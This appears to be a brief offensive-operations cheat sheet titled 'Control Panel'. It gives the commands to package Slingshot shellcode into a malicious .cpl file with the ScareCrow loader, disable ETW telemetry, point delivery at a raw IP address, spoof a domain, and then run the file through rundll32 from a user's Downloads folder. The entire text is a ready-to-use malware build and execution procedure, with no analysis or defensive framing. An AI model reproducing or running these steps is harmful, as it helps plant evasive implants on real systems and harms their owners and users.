Control Panel

generating CPL (Control Panel) files:

./ScareCrow -I ../rtt/slingshot_x64.dll.shellcode -Loader control -noetw  -url <http://34.105.187.238> -domain welcomeit.org

running it:

C:\WINDOWS\System32\rundll32.exe C:\WINDOWS\System32\shell32.dll,Control_RunDLL C:\Users\bglocaladmin\Downloads\desktop.cpl